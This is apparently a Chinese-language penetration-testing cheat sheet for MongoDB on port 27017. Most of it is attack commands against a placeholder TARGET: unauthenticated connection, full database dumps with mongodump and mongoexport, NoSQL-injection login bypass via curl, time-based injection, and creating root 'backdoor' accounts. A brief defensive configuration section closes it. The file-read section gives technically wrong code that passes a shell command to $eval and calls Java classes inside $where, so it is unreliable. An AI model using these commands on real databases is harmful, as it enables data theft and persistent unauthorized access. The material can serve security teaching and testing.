27017 - MongoDB 服务渗透测试

服务概述

MongoDB 是 NoSQL 数据库。未授权访问、注入攻击是主要安全问题。

默认端口: 27017 (TCP)
危害等级: ⭐⭐⭐⭐⭐


信息收集

服务识别

# nmap 扫描
nmap -sV --script mongodb-info -p 27017 TARGET

# 使用 mongo 客户端
mongo --host TARGET --port 27017

# 如果连接成功,显示版本信息

未授权访问检测

# 尝试匿名连接
mongo --host TARGET --port 27017

# 如果成功,无需认证
# 可执行任意命令

常见攻击手法

1. 未授权访问

原理: MongoDB 默认无认证。

利用:

# 连接
mongo --host TARGET --port 27017

# 列出数据库
show dbs

# 使用数据库
use admin

# 列出集合
show collections

# 查询数据
db.users.find()

# 添加管理员
db.createUser({
  user: "attacker",
  pwd: "password123",
  roles: ["root"]
})

2. NoSQL 注入

原理: MongoDB 查询可被注入。

利用:

// 认证绕过
// 原始查询:db.users.findOne({username: user, password: pass})
// 注入:username: {$gt: ""}, password: {$gt: ""}

// 盲注
// db.users.findOne({username: "admin", password: {$regex: "^a"}})
// 如果返回结果,密码以 a 开头

// 时间盲注
// 使用 $where 子句
db.users.find({$where: "sleep(10000) || username=='admin'"})

3. 数据窃取

原理: 未授权访问可导出所有数据。

利用:

# 导出数据库
mongodump --host TARGET --port 27017 --out /tmp/dump

# 导出集合
mongoexport --host TARGET --db admin --collection users --out users.json

# 查看所有数据
mongo --host TARGET --eval "db.getSiblingDB('admin').users.find()"

4. 权限提升

原理: 创建管理员账户。

利用:

// 连接到 admin 数据库
use admin

// 创建管理员
db.createUser({
  user: "backdoor",
  pwd: "backdoor123",
  roles: ["root"]
})

// 使用新账户
mongo -u backdoor -p backdoor123 --authenticationDatabase admin

5. 文件读取

原理: MongoDB 可读取服务器文件。

利用:

// 读取 /etc/passwd
use admin
db.runCommand({$eval: "cat /etc/passwd"})

// 或使用 $where
db.collection.find({$where: "var f = new java.io.File('/etc/passwd'); var scanner = new java.util.Scanner(f); while(scanner.hasNext()) { print(scanner.nextLine()); }"})

实战案例

案例 1: 未授权访问数据窃取

# 1. 连接
mongo --host TARGET --port 27017

# 2. 列出数据库
show dbs

# 3. 导出所有数据
mongodump --host TARGET --port 27017 --out /tmp/mongo_dump

# 4. 分析数据
# 查找敏感信息

案例 2: NoSQL 注入登录绕过

// Web 应用登录
// POST /login
// {"username": {"$gt": ""}, "password": {"$gt": ""}}

// 或使用 curl
curl -X POST http://TARGET/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

// 登录成功,无需密码

案例 3: 创建后门账户

# 1. 连接
mongo --host TARGET --port 27017

# 2. 创建管理员
use admin
db.createUser({
  user: "attacker",
  pwd: "Password123!",
  roles: ["root"]
})

# 3. 后续使用
mongo -u attacker -p Password123! --authenticationDatabase admin

工具

mongodump

# 导出数据库
mongodump --host TARGET --port 27017 --out /tmp/dump

# 导出特定数据库
mongodump --host TARGET --db admin --out /tmp/dump

# 认证导出
mongodump --host TARGET -u admin -p password --authenticationDatabase admin

mongo

# 连接
mongo --host TARGET --port 27017

# 认证连接
mongo --host TARGET -u admin -p password --authenticationDatabase admin

# 执行命令
mongo --host TARGET --eval "db.getSiblingDB('admin').users.find()"

nosqlmap

# 安装
git clone https://github.com/codingo/NoSQLMap
cd NoSQLMap
python2 NoSQLMap.py

# 功能:
# - 自动注入
# - 数据提取
# - 用户枚举

防御建议

服务器配置

# 1. 启用认证
# mongod.conf
security:
  authorization: enabled

# 2. 创建管理员
use admin
db.createUser({
  user: "admin",
  pwd: "StrongPassword123!",
  roles: ["root"]
})

# 3. 绑定本地地址
# mongod.conf
net:
  bindIp: 127.0.0.1

# 4. 启用 SSL
net:
  ssl:
    mode: requireSSL
    PEMKeyFile: /path/to/key.pem

网络隔离

# 防火墙规则
iptables -A INPUT -p tcp --dport 27017 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 27017 -j DROP

监控检测

# 1. 日志监控
# MongoDB 日志
# 认证失败记录

# 2. 流量分析
tshark -i eth0 -Y "mongo" -T fields -e mongo.query

# 3. 异常检测
# 大量查询
# 未知 IP 连接
# 管理命令执行

参考链接